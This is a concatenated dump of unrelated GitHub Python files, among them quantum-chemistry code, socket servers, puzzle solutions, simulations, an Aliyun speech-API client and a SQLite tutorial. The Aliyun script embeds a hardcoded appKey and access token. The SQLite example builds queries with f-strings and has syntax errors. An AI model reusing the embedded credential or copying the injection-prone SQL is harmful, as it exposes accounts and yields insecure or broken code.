SCF running times: {i}')\n E.append(mf.scf())\n\n if not mf.converged:\n if mf.verbose >= logger.QUIET:\n logger.info(\n mf, f'SCF not converged at step={i}. Cannot get numerical gsc correction.')\n return None\n\n if i == 0:\n mf_N = mf\n\n # get homo and lumo of the DFA\n e_idx_a = np.argsort(mf_N.mo_energy[0])\n e_idx_b = np.argsort(mf_N.mo_energy[1])\n e_sort_a = mf_N.mo_energy[0][e_idx_a]\n e_sort_b = mf_N.mo_energy[1][e_idx_b]\n na, nb = mf_N.nelec\n homo = (e_sort_a[na - 1], e_sort_b[nb - 1])\n lumo = (e_sort_a[na], e_sort_b[nb])\n\n # get GSC numerical curvature and GSC corrected orbital energy\n mf_N.kappa = (E[0] - 2 * E[1] + E[2]) / (step ** 2)\n mf_N.gsc_orb_ene = None\n mf_N.dfa_orb_ene = None\n if frontier == 'homo':\n mf_N.gsc_orb_ene = homo[spin] - 1.0 / 2 * mf_N.kappa\n mf_N.dfa_orb_ene = homo[spin]\n else:\n mf_N.gsc_orb_ene = lumo[spin] + 1.0 / 2 * mf_N.kappa\n mf_N.dfa_orb_ene = lumo[spin]\n mf_N.homo = homo\n mf_N.lumo = lumo\n mf_N.gap = min(lumo) - max(homo)\n\n if mf_N.verbose >= logger.INFO:\n chanel = 'alpha' if spin == 0 else 'beta'\n au2ev = 27.2116\n logger.info(mf_N, '\\n==> GSC with numerical 2nd order correction <==')\n logger.info(mf_N, 'DFA gap: {:.8f} a.u. {:.8f} eV'.format(\n mf_N.gap, mf_N.gap * au2ev))\n logger.info(mf_N, 'DFA ({:s}-{:s}): {:.8f} a.u. {:.8f} eV'.format(\n chanel, frontier, mf_N.dfa_orb_ene, mf_N.dfa_orb_ene * au2ev))\n logger.info(mf_N, 'GSC ({:s}-{:s}): {:.8f} a.u. {:.8f} eV'.format(\n chanel, frontier, mf_N.gsc_orb_ene, mf_N.gsc_orb_ene * au2ev))\n logger.info(mf_N, '2nd order direvative ({:s}-{:s}): {:.8f}'.format(\n chanel, frontier, mf_N.kappa))\n\n return mf_N\n","repo_name":"Miocbb/pyscf_addons","sub_path":"gsc.py","file_name":"gsc.py","file_ext":"py","file_size_in_byte":3935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"4765941379","text":"from socket import socket, SHUT_RDWR\nfrom queue import Queue\nfrom threading import Thread\n\nfrom client import ClientWorker\nfrom configs import * # too many variables to import explicitly\n\n\n\nclass Listener:\n\n def __init__(self, queue=None):\n self.clientList = []\n self.clientDict = {}\n if queue is None:\n self.queue = Queue()\n self.listener = None\n\n def start(self):\n listenThread = Thread(target=self.listenThread, daemon=True)\n listenThread.start()\n\n def close(self):\n if self.listener is not None:\n try:\n self.listener.shutdown(SHUT_RDWR)\n self.listener.close()\n except:\n pass\n\n\n def listenThread(self):\n if self.listener is None:\n self.listener = socket()\n try:\n self.listener.bind((getIPAddr(), getPort()))\n self.listener.listen(0)\n print(\"Listening on {}:{}\".format(getIPAddr(), getPort()))\n while 1:\n newSocket, addr = self.listener.accept()\n newClient = ClientWorker(newSocket, self.queue, addr)\n newClient.start()\n self.clientList.append(newClient)\n print(\"Client connected from {}\".format(addr))\n finally:\n self.close()\n","repo_name":"mlevy94/ECE4534-Team1","sub_path":"Follower_Rover/listener.py","file_name":"listener.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"40775994815","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author : Rock Wayne \n# @Created : 2020-08-06 18:32:20\n# @Last Modified : 2020-08-06 18:32:20\n# @Mail : lostlorder@gmail.com\n# @Version : alpha-1.0\n\n\"\"\"\n# 给你一个非负整数 num ，返回它的「加密字符串」。 \n# \n# 加密的过程是把一个整数用某个未知函数进行转化，你需要从下表推测出该转化函数： \n#\n# n--f(n)\n# 0--\"\"\n# 1--\"0\"\n# 2--\"1\"\n# 3--\"00\"\n# 4--\"01\"\n# 5--\"10\"\n# 6--\"11\"\n# 7--\"000\"\n#\n# 示例 1： \n# \n# 输入：num = 23\n# 输出：\"1000\"\n# \n# \n# 示例 2： \n# \n# 输入：num = 107\n# 输出：\"101100\"\n# \n# \n# \n# \n# 提示： \n# \n# \n# 0 <= num <= 10^9 \n# \n# Related Topics 位运算 数学 \n# 👍 12 👎 0\n\n\"\"\"\n\nimport pytest\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\nclass Solution:\n def encode(self, num: int) -> str:\n return bin(num + 1)[3:]\n\n\n# leetcode submit region end(Prohibit modification and deletion)\n\n\n@pytest.mark.parametrize(\"kw,expected\", [\n [dict(num=23), \"1000\"],\n [dict(num=107), \"101100\"],\n])\ndef test_solutions(kw, expected):\n assert Solution().encode(**kw) == expected\n\n\nif __name__ == '__main__':\n pytest.main([\"-q\", \"--color=yes\", \"--capture=no\", __file__])\n","repo_name":"Wang-Yann/LeetCodeMe","sub_path":"python/_1001_1500/1256_encode-number.py","file_name":"1256_encode-number.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"42876239212","text":"import select\nimport threading\nimport logging\nimport asyncio\nfrom socket import socket\n\n\nclass Server:\n def __init__(self, host, port, buffersize, handler):\n self._host = host\n self._port = port\n self._buffersize = buffersize\n self._handler = handler\n self._connections = list()\n self._requests = list()\n self._sock = None\n\n def __enter__(self):\n if not self._sock:\n self._sock = socket()\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n message = 'Server shutdown'\n if self._sock:\n self._sock.close()\n if exc_type:\n if not exc_type is KeyboardInterrupt:\n message = f'Server stopped with error ({exc_type}, {exc_val})'\n logging.error(message, exc_info=exc_val)\n else:\n logging.info(message)\n return True\n\n def start(self, backlog=5):\n if not self._sock:\n self._sock = socket()\n self._sock.bind((self._host, self._port,))\n self._sock.settimeout(0) # sock.setblocking(False)\n self._sock.listen(backlog)\n\n logging.info(f'Server was started with {self._host}:{self._port}')\n\n def wait_client(self):\n try:\n client, address = self._sock.accept()\n except Exception:\n pass\n else:\n self._connections.append(client)\n logging.info(f'Client was connected with {address[0]}:{address[1]} | Connections: {len(self._connections)}')\n\n def processing(self):\n\n while True:\n\n self.wait_client()\n\n if not self._connections: # Без данной проверки выдает ошибку при первом старте\n continue\n\n rlist, wlist, xlist = select.select(\n self._connections, self._connections, self._connections, 0\n )\n\n for r_client in rlist:\n r_thread = threading.Thread(\n target=self.read, args=(r_client,)\n )\n r_thread.start()\n\n if self._requests:\n b_request = self._requests.pop()\n b_response = self._handler(b_request)\n for w_client in wlist:\n w_thread = threading.Thread(\n target=self.write, args=(w_client, b_response)\n )\n w_thread.start()\n\n def read(self, client_sock):\n try:\n b_request = client_sock.recv(self._buffersize)\n except ConnectionResetError as err:\n self._connections.remove(client_sock)\n logging.info('Client connection was lost', exc_info=err)\n except Exception as err:\n logging.critical('Read exception raised', exc_info=err)\n else:\n if b_request:\n self._requests.append(b_request)\n\n def write(self, client_sock, response):\n try:\n client_sock.send(response)\n except Exception as err:\n # self._connections.remove(client_sock)\n logging.critical('Write exception raised', exc_info=err)\n\n\nclass AsyncServer:\n def __init__(self, host, port, buffersize, handler):\n self._host = host\n self._port = port\n self._buffersize = buffersize\n self._handler = handler\n self._connections = list()\n self._requests = list()\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n message = 'Server shutdown'\n if self._sock:\n self._sock.close()\n if exc_type:\n if not exc_type is KeyboardInterrupt:\n message = f'Server stopped with error ({exc_type}, {exc_val})'\n logging.error(message, exc_info=exc_val)\n else:\n logging.info(message)\n return True\n\n async def main(self):\n\n while True:\n\n try:\n client, address = self._sock.accept()\n if client:\n self._connections.append(client)\n logging.info(\n f'Client was connected with {address[0]}:{address[1]} | Connections: {len(self._connections)}')\n except Exception:\n pass\n else:\n client.setblocking(0) # снимаем блокировку и у клиента тоже\n\n if not self._connections:\n continue\n\n rlist, wlist, xlist = select.select(self._connections, self._connections, self._connections, 0)\n\n await self.read(rlist)\n await self.write(wlist)\n\n def start(self, backlog=5):\n\n self._sock = socket()\n self._sock.bind((self._host, self._port,))\n self._sock.settimeout(0) # sock.setblocking(False)\n self._sock.listen(backlog)\n logging.info(f'Server was started with {self._host}:{self._port}')\n\n ioloop = asyncio.get_event_loop()\n ioloop.run_until_complete(self.main())\n ioloop.close()\n\n async def read(self, client_socks):\n for client_sock in client_socks:\n try:\n b_request = client_sock.recv(self._buffersize)\n if b_request:\n self._requests.append(b_request)\n except Exception:\n pass\n print(f'read from to {client_sock}')\n await asyncio.sleep(1)\n\n async def write(self, client_socks):\n if self._requests:\n b_request = self._requests.pop()\n b_response = self._handler(b_request)\n for client_sock in client_socks:\n try:\n client_sock.send(b_response)\n except Exception:\n pass\n print(f'write to {client_sock}')\n await asyncio.sleep(1)\n","repo_name":"VasilyMagay/GeekBrains-Python","sub_path":"Messenger/server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"35034644426","text":"# -*- coding: UTF-8 -*-\n# Python 2.x 引入httplib模块\n# import httplib\n# Python 3.x 引入http.client模块\nimport http.client\nimport json\nimport argparse\ndef process(request, token, audioFile) :\n # 读取音频文件\n with open(audioFile, mode = 'rb') as f:\n audioContent = f.read()\n host = 'nls-gateway.cn-shanghai.aliyuncs.com'\n # 设置HTTP请求头部\n httpHeaders = {\n 'X-NLS-Token': token,\n 'Content-type': 'application/octet-stream',\n 'Content-Length': len(audioContent)\n }\n # Python 2.x 请使用httplib\n # conn = httplib.HTTPConnection(host)\n # Python 3.x 请使用http.client\n conn = http.client.HTTPConnection(host)\n conn.request(method='POST', url=request, body=audioContent, headers=httpHeaders)\n response = conn.getresponse()\n print('Response status and response reason:')\n print(response.status ,response.reason)\n body = response.read()\n try:\n print('Recognize response is:')\n body = json.loads(body)\n print(body)\n status = body['status']\n if status == 20000000 :\n result = body['result']\n print('Recognize result: ' + result)\n else :\n print('Recognizer failed!')\n except ValueError:\n print('The response is not json format string')\n conn.close()\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--wav_path\", type=str,\n help=\"path of wave file\")\n args = parser.parse_args()\n wav_path = args.wav_path\n appKey = 'FcLZ8RjdsCKGv0Jv'\n token = '9a8e7ea9124643948c8a8504eef18c37'\n # 服务请求地址\n url = 'http://nls-gateway.cn-shanghai.aliyuncs.com/stream/v1/asr'\n # 音频文件\n audioFile = wav_path\n format = 'pcm'\n sampleRate = 16000\n enablePunctuationPrediction = True\n enableInverseTextNormalization = True\n enableVoiceDetection = False\n # 设置RESTful请求参数\n request = url + '?appkey=' + appKey\n request = request + '&format=' + format\n request = request + '&sample_rate=' + str(sampleRate)\n if enablePunctuationPrediction :\n request = request + '&enable_punctuation_prediction=' + 'true'\n if enableInverseTextNormalization :\n request = request + '&enable_inverse_text_normalization=' + 'true'\n if enableVoiceDetection :\n request = request + '&enable_voice_detection=' + 'true'\n print('Request: ' + request)\n process(request, token, audioFile)\n","repo_name":"wellido/ASR-API-Study","sub_path":"ASR/ali_api.py","file_name":"ali_api.py","file_ext":"py","file_size_in_byte":2497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"6819737549","text":"import re\nfrom aoc import *\nimport numpy as np\nfrom functools import *\nfrom itertools import *\n\ninp = read_blocks()\nalgo = inp[0][0][0]\nprint(algo)\nraw_field = inp[1]\nf = {}\nfor y, line in enumerate(raw_field):\n for x, c in enumerate(line[0]):\n f[(x, y)] = c\n\n\ndef step2(alive):\n res = {}\n candidates = set()\n x0 = min(p[0] for p in alive)\n y0 = min(p[1] for p in alive)\n x1 = max(p[0] for p in alive)\n y1 = max(p[1] for p in alive)\n for x in range(x0-3, x1+4):\n for y in range(y0-3, y1+4):\n index = 0\n for ny in [y - 1, y, y + 1]:\n for nx in [x - 1, x, x + 1]:\n index = index * 2\n if (nx, ny) in alive and alive[(nx, ny)] == '#':\n index += 1\n res[(x, y)] = algo[index]\n alive = res\n res = {}\n for x in range(x0-2, x1+3):\n for y in range(y0-2, y1+3):\n index = 0\n for ny in [y - 1, y, y + 1]:\n for nx in [x - 1, x, x + 1]:\n index = index * 2\n if (nx, ny) in alive and alive[(nx, ny)] == '#':\n index += 1\n res[(x, y)] = algo[index]\n\n return res\n\n\nf = step2(f)\n\nres = sum(1 for p in f.keys() if f[p] == '#')\nprint(algo)\nprint(\"Part One\", res)\n\nfor i in range(24):\n print()\n f = step2(f)\nres = sum(1 for p in f.keys() if f[p] == '#')\n\nprint(\"Part Two\", res)\n","repo_name":"xoposhiy/aoc","sub_path":"2021/20.py","file_name":"20.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"44"} +{"seq_id":"14950622917","text":"from ManagerBL import Manager_BL\r\nclass Manager_UI:\r\n \r\n @staticmethod\r\n def TakeProductInputFromAdmin():\r\n name = input(\"Enter Product Name: \")\r\n quantity = float(input(\"Enter Product Quantity: \"))\r\n price = float(input(\"Enter Product Price: \"))\r\n if name != None and quantity != None and price != None:\r\n p = Manager_BL(name,quantity,price)\r\n return p\r\n else:\r\n return None\r\n \r\n @staticmethod\r\n def AdminInterface():\r\n print(\"1. View Products\")\r\n print(\"2. Add Products\")\r\n print(\"3. Delete Product\")\r\n print(\"4. Change Quantity\")\r\n print(\"5. Go Back\")\r\n print(\"-------------------------\")\r\n option = input(\"Enter Your Option...\")\r\n return option\r\n ","repo_name":"Irtazamanzoor009/Python-App","sub_path":"ManagerUI.py","file_name":"ManagerUI.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"4596904465","text":"from mesa import Model\nfrom mesa.datacollection import DataCollector\nfrom mesa.space import Grid\nfrom mesa.time import RandomActivation\n\nfrom agent import TreeCell\n\nclass ForestFire(Model):\n \"\"\"\n Simple Forest Fire model.\n \"\"\"\n\n def __init__(self, height=100, width=100, density=0.65):\n \"\"\"\n Create a new forest fire model.\n Args:\n height, width: The size of the grid to model\n density: What fraction of grid cells have a tree in them.\n \"\"\"\n # Set up model objects\n self.schedule = RandomActivation(self)\n self.grid = Grid(height, width, torus=False)\n\n self.datacollector = DataCollector(\n {\n \"Fine\": lambda m: self.count_type(m, \"Fine\"),\n \"On Fire\": lambda m: self.count_type(m, \"On Fire\"),\n \"Burned Out\": lambda m: self.count_type(m, \"Burned Out\"),\n }\n )\n\n # Place a tree in each cell with Prob = density\n for (contents, x, y) in self.grid.coord_iter():\n if self.random.random() < density:\n # Create a tree\n new_tree = TreeCell((x, y), self)\n # Set all trees in the first column on fire.\n if x == 0:\n new_tree.condition = \"On Fire\"\n self.grid.place_agent(new_tree, (x, y))\n self.schedule.add(new_tree)\n\n self.running = True\n self.datacollector.collect(self)\n\n def step(self):\n \"\"\"\n Advance the model by one step.\n \"\"\"\n self.schedule.step()\n # collect data\n self.datacollector.collect(self)\n\n # Halt if no more fire\n if self.count_type(self, \"On Fire\") == 0:\n self.running = False\n\n @staticmethod\n def count_type(model, tree_condition):\n \"\"\"\n Helper method to count trees in a given condition in a given model.\n \"\"\"\n count = 0\n for tree in model.schedule.agents:\n if tree.condition == tree_condition:\n count += 1\n return count","repo_name":"octavio-navarro/TC2008B","sub_path":"mesaExamples/forestFire/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2083,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"44"} +{"seq_id":"69794855175","text":"from backend.common_tile import CommonTile\nimport math\n\nfrom backend.features.river import River\n\n\nclass Dam(CommonTile):\n\n def __init__(self):\n super().__init__()\n self.default_building_list = [\n 'hydroelectric_dam',\n ]\n self._building_list = None\n self._hydroelectric_dam = None\n self._powered = None\n self._power = None\n self.housing = self.housing + 3\n self.appeal = 1\n\n # building_list\n @property\n def building_list(self):\n if self._building_list is None:\n return None\n return self._building_list\n\n # @building_list.setter\n def update_building_list(self, value):\n if self._building_list is None:\n self._building_list = []\n self._building_list.append(value)\n\n def remove_building_list(self, value):\n if self._building_list is None:\n return None\n self._building_list.remove(value)\n\n # hydroelectric_dam\n @property\n def hydroelectric_dam(self):\n if self._hydroelectric_dam is None:\n return False\n return self._hydroelectric_dam\n\n @hydroelectric_dam.setter\n def hydroelectric_dam(self, value):\n if value:\n self.maintenance = self.maintenance + 1\n self.update_building_list('hydroelectric_dam')\n self._hydroelectric_dam = True\n\n # power - Whats the power draw\n @property\n def power(self):\n if self._power is None:\n return 0\n return self._power\n\n @power.setter\n def power(self, value):\n self._power = value\n\n # powered - Does the city need power?\n @property\n def powered(self):\n if self._powered is None:\n return False\n return self._powered\n\n @powered.setter\n def powered(self, value):\n self.power = 0\n self._powered = value\n\n def set_buildings(\n self,\n final_improvement=None,\n powered=None):\n\n if final_improvement is None:\n self.powered = True\n final_improvement = 'hydroelectric_dam'\n if final_improvement == 'hydroelectric_dam' and powered is None:\n powered = True\n try:\n final_improvement = int(final_improvement)\n except:\n pass\n if isinstance(final_improvement, int):\n final_improvement = self.default_building_list[final_improvement]\n\n if powered:\n self.powered = True\n\n for building in self.default_building_list:\n if building == final_improvement:\n setattr(self, building, True)\n break\n else:\n setattr(self, building, True)\n\n def calculate_adjacency(self, tile_obj, target_index, adj_list): # pragma: no cover\n \"\"\"\n I dont know if removing a dam from the orig object like this will actually work...\n if it doesnt it needs to be taken care of in another method\n \"\"\"\n target_object = getattr(tile_obj, target_index)\n\n adj_river = 0\n for adj_obj in adj_list:\n if adj_obj is None:\n continue\n if isinstance(adj_obj.district, River):\n adj_river += 1\n if adj_river < 2:\n target_object.district = None\n\n def calculate_specialist_yield(self):\n pass\n","repo_name":"aecobb53/civ_vi_city_planner","sub_path":"backend/districts/dam.py","file_name":"dam.py","file_ext":"py","file_size_in_byte":3350,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"17976485556","text":"import sqlite3\nconn = sqlite3.connect('example.db')\n\n#This code is used to create the Data Base\n\ndef createDB():\n conn = sqlite3.connect(\"example.db\")\n cursor = conn.cursor()\n cursor.execute(\n \"\"\"CREATE TABLE example (\n nombre text,\n apellido text,\n edad interger\"\"\"\n )\n conn.commit()\n conn.close()\n\n#This code is used to create a Table in the Data Base\n\ndef createTable():\n conn = sqlite3.connect('example.db')\n conn.commit()\n conn.close()\n\n#This code is to add data in the table\n\ndef insertRow(nombre, apellido, edad):\n conn = sqlite3.connect('example.db')\n cursor = conn.cursor()\n instruccion = f\"INSERT INTO example VALUES ('{nombre}', {apellido}, {edad})\"\n cursor.execute(instruccion)\n conn.commit()\n conn.close() \n\n#This code is to give you the data\n\ndef readRows():\n conn = sqlite3.connect('example.db')\n cursor = conn.cursor()\n instruccion = f\"SELECT * FROM example \"\n cursor.execute(instruccion)\n datos = cursor.fetchall()\n conn.commit()\n conn.close() \n print(datos)\n\n\n#This code is to give you the data in the order you want removing and putting \"DESC\"\n\ndef readordered(field):\n conn = sqlite3.connect('example.db')\n cursor = conn.cursor()\n instruccion = f\"SELECT * FROM example ORDERER BY {field} DESC\"\n cursor.execute(instruccion)\n datos = cursor.fetchall()\n conn.commit()\n conn.close() \n print(datos)\n\n#this code is to run the functions \n\nif __name__ == \"__main__\":\n #put this code only once then yoy put \"#\" in the beggining\n createDB()\n createTable()\n \n #this code is to add Rows in the table\n insertRow(\"Josue\", \"Obando_Pimentel\", 44)\n insertRow(\"Merary\", \"Chavarria_Monge\", 39)\n insertRow(\"Joel\", \"Obando_Chavarria\", 12) \n insertRow(\"Lidny\", \"Obando_Chavarria\", 9)\n\n #or you can put\n example = [\n (\"Josue\", \"Obando_Pimentel\", 44)\n (\"Merary\", \"Chavarria_Monge\", 39) \n (\"Joel\", \"Obando_Chavarria\", 12)\n (\"Lidny\", \"Obando_Chavarria\", 9)\n ]\n\n #this code give you data\n readRows()\n\n #and this is to reed ordered the data\n readordered()","repo_name":"Wolfcrak/Data-Base-with-Python-and-SQLite3","sub_path":"Example_DataBase.py","file_name":"Example_DataBase.py","file_ext":"py","file_size_in_byte":2184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"1956798589","text":"S, N = list(map(int, input().split()))\r\nusers = []\r\nfor _ in range(N):\r\n users.append(int(input()))\r\n\r\nusers_sorted = sorted(users)\r\nsumm = 0\r\n\r\nfor i in range(1, len(users_sorted) + 1):\r\n users_cut = users_sorted[:i]\r\n summ = sum(users_cut)\r\n if summ <= S:\r\n number = i\r\nprint(number)\r\n","repo_name":"Danilov-Egor/coursera_python_programming","sub_path":"week 6/создание архива.py","file_name":"создание архива.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"38421491704","text":"import math\nfrom robotParams import *\nfrom geometry_msgs.msg import Pose2D\n\n# true - obstacle, false - no obstacle\n# y - row, x - column\n\nclass grid_pos_t():\n def __init__(self, x=None, y=None):\n self.grid_x = x\n self.grid_y = y\n def __str__(self):\n return(' '.join([\"y:\", str(self.grid_y), \"x:\", str(self.grid_x)]))\n def __repr__(self):\n return(' '.join([\"y:\", str(self.grid_y), \"x:\", str(self.grid_x)]))\n\ndef map_Pose2Do_room(pos: Pose2D):\n grid_pos = grid_pos_t()\n grid_pos.grid_x = int((pos.x + CELL_SIZE_METER/2*(MAP_SIZE + 1))/CELL_SIZE_METER)\n grid_pos.grid_y = int((-pos.y + CELL_SIZE_METER/2*(MAP_SIZE + 1))/CELL_SIZE_METER)\n return grid_pos\n\n\ndef map_room_to_position(grid_pos: grid_pos_t):\n pos = Pose2D()\n pos.x = CELL_SIZE_METER*grid_pos.grid_x - MAP_SIZE*CELL_SIZE_METER/2\n pos.y = -CELL_SIZE_METER*grid_pos.grid_y + MAP_SIZE*CELL_SIZE_METER/2\n return pos\n\ndef laser_through_tiles(range: float, angle: float, ranger_pos: Pose2D, max_range: float):\n obstacle_pos = Pose2D()\n grid_ranger_pos = grid_pos_t()\n grid_obstacle_pos = grid_pos_t()\n \n # calculate obstacle position basing on ranger measurement\n # if range is over max range no obstacle found\n if range > max_range:\n obstacle_found = False\n obstacle_pos.x = math.cos((ranger_pos.theta + angle)) * max_range + ranger_pos.x\n obstacle_pos.y = math.sin((ranger_pos.theta + angle)) * max_range + ranger_pos.y\n else:\n obstacle_found = True\n obstacle_pos.x = math.cos((ranger_pos.theta + angle)) * range + ranger_pos.x\n obstacle_pos.y = math.sin((ranger_pos.theta + angle)) * range + ranger_pos.y\n \n # convert laser scan to grid and update map by adding unoccupied tiles\n grid_ranger_pos = map_Pose2Do_room(ranger_pos)\n grid_obstacle_pos = map_Pose2Do_room(obstacle_pos)\n empty_tiles = _sensor_update_line(grid_ranger_pos.grid_x, grid_ranger_pos.grid_y,\n grid_obstacle_pos.grid_x, grid_obstacle_pos.grid_y)\n\n # add obstacle to the map if it was found\n obstacle_tiles = []\n if obstacle_found:\n # if it isnt outside of the map\n if (grid_obstacle_pos.grid_x > 0\n and grid_obstacle_pos.grid_y > 0\n and grid_obstacle_pos.grid_x < MAP_SIZE-1\n and grid_obstacle_pos.grid_y < MAP_SIZE-1\n ):\n obstacle_tiles = [grid_obstacle_pos] #add obstacle\n return empty_tiles, obstacle_tiles\n \ndef _sensor_update_line(x0: int, y0: int, x1: int, y1: int):\n if abs(y1 - y0) < abs(x1 - x0):\n if x0 < x1:\n return _sensor_bresenham_low(x0, y0, x1, y1, 1)\n else:\n return _sensor_bresenham_low(x0, y0, x1, y1, -1)\n else:\n if y0 < y1:\n return _sensor_bresenham_high(x0, y0, x1, y1, 1)\n else:\n return _sensor_bresenham_high(x0, y0, x1, y1, -1)\n\n\ndef _sensor_bresenham_low(x0: int, y0: int, x1: int, y1: int, sign: int):\n cells_found = []\n dx = x1 - x0\n dy = y1 - y0\n yi = 1\n if sign < 0:\n dx = -dx\n dy = -dy\n if dy < 0:\n yi = -1\n dy = -dy\n if sign < 0:\n yi = -yi\n D = int((dy*2) - dx)\n while not int(x0) == int(x1):\n # only if tile is inside a map (and not on the edge) set tile to unoccupied\n if(x0 > 0 and y0 > 0 and x0 < MAP_SIZE-1 and y0 < MAP_SIZE-1):\n cells_found.append(grid_pos_t(int(x0), int(y0)))\n else:\n return cells_found\n if D > 0:\n y0 += yi\n D += (dy - dx)*2\n else:\n D += dy*2\n x0+=sign\n return cells_found\n \n\ndef _sensor_bresenham_high(x0: int, y0: int, x1: int, y1: int, sign: int):\n cells_found = []\n dx = x1 - x0\n dy = y1 - y0\n xi = 1\n if sign < 0:\n dx = -dx\n dy = -dy\n if dx < 0:\n xi = -1\n dx = -dx\n if sign < 0:\n xi = -xi\n D = int((dx*2) - dy)\n\n while not int(y0) == int(y1):\n # only if tile is inside a map (and not on the edge) set tile to unoccupied\n if(x0 > 0 and y0 > 0 and x0 < MAP_SIZE-1 and y0 < MAP_SIZE-1):\n cells_found.append(grid_pos_t(int(x0), int(y0)))\n else:\n return cells_found\n if D > 0:\n x0 += xi\n D += (dx - dy)*2\n else:\n D += dx*2\n y0+=sign\n return cells_found\n","repo_name":"kecajjo/mobile_robots","sub_path":"bresenham.py","file_name":"bresenham.py","file_ext":"py","file_size_in_byte":4396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"31940748909","text":"import typing\nimport unittest\n\nimport numpy as np\n\nimport pandas as pd\n\nimport sklearn.datasets\nimport sklearn.model_selection\n\nfrom autoPyTorch.datasets.tabular_dataset import DataTypes, TabularDataset\nfrom autoPyTorch.utils.backend import create\nfrom autoPyTorch.utils.pipeline import get_dataset_requirements\n\n\nclass DataFrameTest(unittest.TestCase):\n def runTest(self):\n df = pd.DataFrame([['a', 0.1, 1], ['b', 0.2, np.nan]])\n target_df = pd.Series([1, 2])\n ds = TabularDataset(df, target_df)\n self.assertEqual(ds.data_types, [DataTypes.String, DataTypes.Float, DataTypes.Canonical])\n self.assertEqual(set(ds.itovs[2]), {np.nan, 1})\n self.assertEqual(set(ds.itovs[0]), {np.nan, 'a', 'b'})\n\n self.assertEqual(ds.vtois[0]['a'], 1)\n self.assertEqual(ds.vtois[0][np.nan], 0)\n self.assertEqual(ds.vtois[0][pd._libs.NaT], 0)\n self.assertEqual(ds.vtois[0][pd._libs.missing.NAType()], 0)\n self.assertTrue((ds.nan_mask == np.array([[0, 0, 0], [0, 0, 1]], dtype=np.bool)).all())\n\n\nclass NumpyArrayTest(unittest.TestCase):\n def runTest(self):\n matrix = np.array([(0, 0.1, 1), (1, np.nan, 3)], dtype='f4, f4, i4')\n target_df = pd.Series([1, 2])\n ds = TabularDataset(matrix, target_df)\n self.assertEqual(ds.data_types, [DataTypes.Canonical, DataTypes.Float, DataTypes.Canonical])\n self.assertEqual(set(ds.itovs[2]), {np.nan, 1, 3})\n\n self.assertEqual(ds.vtois[0][1], 2)\n self.assertEqual(ds.vtois[0][np.nan], 0)\n self.assertEqual(ds.vtois[0][pd._libs.NaT], 0)\n self.assertEqual(ds.vtois[0][pd._libs.missing.NAType()], 0)\n self.assertTrue((ds.nan_mask == np.array([[0, 0, 0], [0, 1, 0]], dtype=np.bool)).all())\n\n\ndef get_data_to_train() -> typing.Dict[str, typing.Any]:\n \"\"\"\n This function returns a fit dictionary that within itself, contains all\n the information needed\n \"\"\"\n\n # Get the training data for tabular classification\n # Move to Australian to showcase numerical vs categorical\n X, y = sklearn.datasets.fetch_openml(data_id=40981, return_X_y=True, as_frame=True)\n X_train, X_test, y_train, y_test = sklearn.model_selection.train_test_split(\n X,\n y,\n random_state=1,\n test_size=0.2,\n )\n # Fit the pipeline\n fit_dictionary = {\n 'X_train': X_train,\n 'y_train': y_train,\n 'X_test': X_test,\n 'y_test': y_test,\n }\n\n return fit_dictionary\n\n\nclass TabularDatasetTest(unittest.TestCase):\n\n def test_get_dataset_properties(self):\n # Get data to train\n fit_dictionary = get_data_to_train()\n\n # Build a repository with random fitted models\n try:\n backend = create(temporary_directory='/tmp/autoPyTorch_ensemble_test_tmp',\n output_directory='/tmp/autoPyTorch_ensemble_test_out',\n delete_tmp_folder_after_terminate=False)\n except Exception:\n self.assertRaises(FileExistsError)\n return unittest.skip(\"File already exists\")\n\n fit_dictionary['backend'] = backend\n\n # Create the directory structure\n backend._make_internals_directory()\n\n # Create a datamanager for this toy problem\n datamanager = TabularDataset(\n X=fit_dictionary['X_train'], Y=fit_dictionary['y_train'],\n X_test=fit_dictionary['X_test'], Y_test=fit_dictionary['y_test'],\n )\n backend.save_datamanager(datamanager)\n\n datamanager = backend.load_datamanager()\n info = {'task_type': datamanager.task_type,\n 'output_type': datamanager.output_type,\n 'issparse': datamanager.issparse,\n 'numerical_columns': datamanager.numerical_columns,\n 'categorical_columns': datamanager.categorical_columns}\n dataset_requirements = get_dataset_requirements(info)\n\n dataset_properties = datamanager.get_dataset_properties(dataset_requirements)\n\n self.assertIsInstance(dataset_properties, dict)\n for dataset_requirement in dataset_requirements:\n self.assertIn(dataset_requirement.name, dataset_properties.keys())\n self.assertIsInstance(dataset_properties[dataset_requirement.name], dataset_requirement.supported_types)\n\n\nif __name__ == '__main__':\n 